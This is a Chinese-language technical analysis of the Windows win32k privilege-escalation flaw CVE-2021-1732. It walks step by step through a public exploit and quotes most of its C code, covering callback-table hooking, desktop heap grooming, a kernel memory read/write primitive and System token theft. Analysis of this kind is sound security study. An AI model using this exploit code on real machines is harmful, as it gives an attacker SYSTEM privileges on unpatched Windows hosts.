Windows win32k 漏洞 & CVE-2021-1732 分析

win32k漏洞

win32k.sys运行在Windows系统内核态,主要负责GUI相关的工作,用户态的user32.dll与其合作。个人感觉比较常见的漏洞对象在于tagWnd及其相关的数据结构和API。

CVE-2021-1732分析

漏洞简介

Windows桌面开发中会用到一个Windows API——CreateWindowEx,用于创建供用户使用的窗口,其函数调用过程大致如下:

(1) user32!CreateWindowEx
(…)
(2) win32u!NtUserCreateWindowEx
(w32ksyscall 0x1077)
(3) win32kfull!NtUserCreateWindowEx
(4) win32kfull!xxxCreateWindowEx

该漏洞主要是因为Windows在处理tagWnd结构体时存在问题,攻击者可以控制其中的dwExtraFlag、cbWndExtra字段,通过SetWindowLong等API读写系统数据,实现提权。

漏洞分析

在Windows开发中使用CreateWindowEx用于创建窗口,该API会维护一个结构体——tagWnd,该结构体分为两份,分别存在用户态、内核态。并且该结构体并没有官方文档进行解释,需要通过逆向进行分析。

用户态tagWnd在0x28偏移处存放着内核态tagWnd的指针,内核态tagWnd中dwExtraFlag、cbWndExtra、pExtraBytes(偏移分别为:0xc8、0xe8、0x128)用于记录一个额外的内存空间ExtraBytes,当调用SetWindowLongPtr API时会用到此处内存。

漏洞利用

接下来我们会分析https://github.com/k-k-k-k-k/CVE-2021-1732 的exp。

准备工作

该exp首先获取到需要用到的已导出/未导出的API,并进行了Hook xxxClientAllocWindowClassExtraBytes。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
g_fNtUserConsoleControl = (FNtUserConsoleControl)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserConsoleControl");
g_fFNtCallbackReturn = (FNtCallbackReturn)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCallbackReturn");

g_fRtlAllocateHeap = (RtlAllocateHeap)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAllocateHeap");

ULONG_PTR pKernelCallbackTable = (ULONG_PTR) * (ULONG_PTR*)(__readgsqword(0x60) + 0x58); //PEB->KernelCallbackTable
g_fxxxClientAllocWindowClassExtraBytes = (FxxxClientAllocWindowClassExtraBytes) * (ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3D8);
g_fxxxClientFreeWindowClassExtraBytes = (FxxxClientFreeWindowClassExtraBytes) * (ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3E0);

FindHMValidateHandle(&fHMValidateHandle);

DWORD dwOldProtect = 0;
VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect);
*(ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3D8) = (ULONG_PTR)MyxxxClientAllocWindowClassExtraBytes;
*(ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3E0) = (ULONG_PTR)MyxxxClientFreeWindowClassExtraBytes;
VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect);

接下来注册了两个WND类,主要区别在于ClassName和ExtraBytes的大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
WNDCLASSEX WndClass = { 0 };
WndClass.cbSize = sizeof(WNDCLASSEX);
WndClass.lpfnWndProc = DefWindowProc;
WndClass.style = CS_VREDRAW | CS_HREDRAW;
WndClass.cbWndExtra = 0x20;
WndClass.hInstance = hInstance;
WndClass.lpszMenuName = NULL;
WndClass.lpszClassName = L"Class1";
atom1 = RegisterClassEx(&WndClass);

WndClass.cbWndExtra = g_dwMyWndExtra;
WndClass.hInstance = hInstance;
WndClass.lpszClassName = L"Class2";
atom2 = RegisterClassEx(&WndClass);

尝试堆布局

该exp会尝试5次堆布局,直到成功或者布局失败。

首先会创建50个Window,其中0号、1号会最终保留。其他48个会释放,但这48个在后续也会发挥作用。

其中,i == 1对应的if body代码用于实现数据的读取。(数据的写入使用了SetWindowLongPtr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//start memory layout

HMENU hMenu = NULL;
HMENU hHelpMenu = NULL;
//alloc 50 desktop heap address
for (int i = 0; i < 50; i++) {
if (i == 1) {
hMenu = CreateMenu();
hHelpMenu = CreateMenu();

AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about"));
AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help"));
}
g_hWnd[i] = CreateWindowEx(NULL, L"Class1", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, hMenu, hInstance, NULL);
g_pWnd[i] = (ULONG_PTR)fHMValidateHandle(g_hWnd[i], 1); //Get leak kernel mapping desktop heap address
}
//free 48 desktop heap address
for (int i = 2; i < 50; i++) {
if (g_hWnd[i] != NULL) {
DestroyWindow((HWND)g_hWnd[i]);
}
}

接下来获取0、1号Window的内核tagWnd在桌面堆中的地址。

1
2
g_dwpWndKernel_heap_offset0 = *(ULONG_PTR*)((PBYTE)g_pWnd[0] + g_dwKernel_pWnd_offset);
g_dwpWndKernel_heap_offset1 = *(ULONG_PTR*)((PBYTE)g_pWnd[1] + g_dwKernel_pWnd_offset);

使用NtUserConsoleControl API将0号Window的ExtraBytes从用户堆转移到内核堆。

1
2
3
4
5
ULONG_PTR ChangeOffset = 0;
ULONG_PTR ConsoleCtrlInfo[2] = { 0 };
ConsoleCtrlInfo[0] = (ULONG_PTR)g_hWnd[0];
ConsoleCtrlInfo[1] = (ULONG_PTR)ChangeOffset;
NTSTATUS ret1 = g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));

首先判断0号Window的内核tagWnd在1号的前面,为了保证可以通过0号内存越界修改到1号数据,然后成功结束堆布局或者进行下一次重新尝试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
dwpWnd0_to_pWnd1_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128);
if (dwpWnd0_to_pWnd1_kernel_heap_offset < g_dwpWndKernel_heap_offset1) {
dwpWnd0_to_pWnd1_kernel_heap_offset = (g_dwpWndKernel_heap_offset1 - dwpWnd0_to_pWnd1_kernel_heap_offset);
break;
}
else {
//:warning SetWindowLongPtr nIndex can't < 0; continue to try
if (g_hWnd[0] != NULL) {
DestroyWindow((HWND)g_hWnd[0]);
}
if (g_hWnd[1] != NULL) {
DestroyWindow((HWND)g_hWnd[1]);

if (hMenu != NULL) {
DestroyMenu(hMenu);
}
if (hHelpMenu != NULL) {
DestroyMenu(hHelpMenu);
}
}
}
dwpWnd0_to_pWnd1_kernel_heap_offset = 0;

修改内核数据

创建Class2的窗口,由于在之前Hook了xxxClientAllocWindowClassExtraBytes,在CreateWindowEx过程中会在xxxClientAllocWindowClassExtraBytes前执行MyxxxClientAllocWindowClassExtraBytes,使得Class2的内核tagWnd的pExtraBytes指向了0号Window的内核tagWnd区域。使得后面可以借助Class2修改0号Windows的内核tagWnd。

这里我们首先将0号Window的内核tagWnd的cbWndExtra修改为一个极大值0x0FFFFFFFF,也就是扩大了0号Window的内核tagWnd的ExtraBytes,用于修改ExtraBytes之外的数据。

1
2
3
4
HWND hWnd2 = CreateWindowEx(NULL, L"Class2", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL);
PVOID pWnd2 = fHMValidateHandle(hWnd2, 1);

SetWindowLong(hWnd2, g_cbWndExtra_offset, 0x0FFFFFFFF); //Modify cbWndExtra to large value

通过0号Window修改1号Window的内核tagWnd数据。后续会有SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pMyMenu),GWLP_ID也就是-12,Win32kfull!xxxSetWindowData在对nIndex的switch-case中,在-12的情况下,会检查内核tagWnd在0x1f偏移处的数据与0xC0进行AND运算后为0x40,检查通过后会将spMenu指向传入的地址。

1
2
3
ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset);
ululStyle |= 0x4000000000000000L;//WS_CHILD
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify add style WS_CHILD

修改1号Window内核tagWnd的spMenu,使得后续可以实现数据的读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//My spmenu memory struct For read kernel memory
g_pMyMenu = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0xA0);
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x98) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x20);
**(ULONG_PTR**)((PBYTE)g_pMyMenu + 0x98) = g_pMyMenu;
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x200);
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x8); //rgItems 1
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) + 0x2C) = 1; //cItems 1
*(DWORD*)((PBYTE)g_pMyMenu + 0x40) = 1;
*(DWORD*)((PBYTE)g_pMyMenu + 0x44) = 2;
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = 0x4141414141414141;

ULONG_PTR pSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pMyMenu); //Return leak kernel address and set fake spmenu memory
//pSPMenu leak kernel address, good!!!

ululStyle &= ~0x4000000000000000L;//WS_CHILD
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify Remove Style WS_CHILD

权限提升

通过读取内核数据吗,获取当前进程的eprocess。

1
2
3
4
5
6
7
8
9
ULONG_PTR ululValue1 = 0, ululValue2 = 0;

//**(ULONG_PTR**)(*(ULONG_PTR*)(pSPMenu + 0x18) + 0x100) Is my kernel eprocess
ReadKernelMemoryQQWORD(pSPMenu + 0x18, ululValue1, ululValue2);
ReadKernelMemoryQQWORD(ululValue1 + 0x100, ululValue1, ululValue2);
ReadKernelMemoryQQWORD(ululValue1, ululValue1, ululValue2);

ULONG_PTR pMyEProcess = ululValue1;
std::cout << "Get current kernel eprocess: " << pMyEProcess << std::endl;

遍历所有进程,找到pid=4,将其token复制到当前进程,实现提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ULONG_PTR pSystemEProcess = 0;

ULONG_PTR pNextEProcess = pMyEProcess;
for (int i = 0; i < 500; i++) {
ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_ActiveProcessLinks_offset, ululValue1, ululValue2);
pNextEProcess = ululValue1 - g_dwEPROCESS_ActiveProcessLinks_offset;

ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_UniqueProcessId_offset, ululValue1, ululValue2);

ULONG_PTR nProcessId = ululValue1;
if (nProcessId == 4) { // System process id
pSystemEProcess = pNextEProcess;
std::cout << "System kernel eprocess: " << std::hex << pSystemEProcess << std::endl;

ReadKernelMemoryQQWORD(pSystemEProcess + g_dwEPROCESS_Token_offset, ululValue1, ululValue2);
ULONG_PTR pSystemToken = ululValue1;

ULONG_PTR pMyEProcessToken = pMyEProcess + g_dwEPROCESS_Token_offset;

//Write kernel memory
LONG_PTR old = SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pMyEProcessToken); // 修改1号内核tagWnd的pExtraBytes
SetWindowLongPtr(g_hWnd[1], 0, (LONG_PTR)pSystemToken); //Modify offset to memory address
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)old);
break;
}
}/**/

清理现场

接下来工作主要是防止系统蓝屏,修复被破坏的系统数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//Recovery bug
g_dwpWndKernel_heap_offset2 = *(ULONG_PTR*)((PBYTE)pWnd2 + g_dwKernel_pWnd_offset);
ULONG_PTR dwpWnd0_to_pWnd2_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128);
if (dwpWnd0_to_pWnd2_kernel_heap_offset < g_dwpWndKernel_heap_offset2) {
dwpWnd0_to_pWnd2_kernel_heap_offset = (g_dwpWndKernel_heap_offset2 - dwpWnd0_to_pWnd2_kernel_heap_offset);

DWORD dwFlag = *(ULONGLONG*)((PBYTE)pWnd2 + g_dwModifyOffsetFlag_offset);
dwFlag &= ~0x800;
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffsetFlag_offset, dwFlag); //Modify remove flag

PVOID pAlloc = g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, g_dwMyWndExtra);
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pAlloc); //Modify offset to memory address


ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset);
ululStyle |= 0x4000000000000000L;//WS_CHILD
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify add style WS_CHILD

ULONG_PTR pMyMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)pSPMenu);
//free pMyMenu

ululStyle &= ~0x4000000000000000L;//WS_CHILD
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify Remove Style WS_CHILD

std::cout << "Recovery bug prevent blue screen." << std::endl;
}

DestroyWindow(g_hWnd[0]);
DestroyWindow(g_hWnd[1]);
DestroyWindow(hWnd2);